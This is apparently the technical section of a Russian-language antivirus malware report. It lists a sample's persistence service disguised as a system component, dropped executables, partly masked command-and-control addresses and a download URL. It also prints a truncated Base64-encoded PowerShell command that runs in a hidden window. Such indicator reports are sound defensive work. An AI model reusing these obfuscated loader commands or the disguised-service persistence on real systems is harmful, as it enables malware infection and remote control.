Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\NlsLexicons0002] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\NlsLexicons0002] 'ImagePath' = '"<SYSTEM32>\api-ms-win-core-synch-l1-1-0\NlsLexicons0002.exe"'
- 'NlsLexicons0002' "<SYSTEM32>\api-ms-win-core-synch-l1-1-0\NlsLexicons0002.exe"
- 'NlsLexicons0002' <SYSTEM32>\api-ms-win-core-synch-l1-1-0\NlsLexicons0002.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JAB6AG8AZQBjAHcAYQByAD0AJwBwAGUAawBjAGgAZQBpAG4AZAB1AHUAcgBjAG8AYQB0AGMAaABlAHUAdgAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAGUAQwBgAFUAUgBgAGkAdAB5AH...
- %HOMEPATH%\960.exe
- <SYSTEM32>\api-ms-win-core-synch-l1-1-0\nlslexicons0002.exe
- %HOMEPATH%\960.exe в <SYSTEM32>\api-ms-win-core-synch-l1-1-0\nlslexicons0002.exe
- '14#.#39.91.187':443
- http://sh####nfoways.com/p/0IJ259233/
- http://14#.##9.91.187:443/LbsrhWTMiqz4gBjvcVM/GSS9d/ via 14#.#39.91.187
- DNS ASK sh####nfoways.com
- '%HOMEPATH%\960.exe'
- '<SYSTEM32>\api-ms-win-core-synch-l1-1-0\nlslexicons0002.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JAB6AG8AZQBjAHcAYQByAD0AJwBwAGUAawBjAGgAZQBpAG4AZAB1AHUAcgBjAG8AYQB0AGMAaABlAHUAdgAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAGUAQwBgAFUAUgBgAGkAdAB5AH...' (со скрытым окном)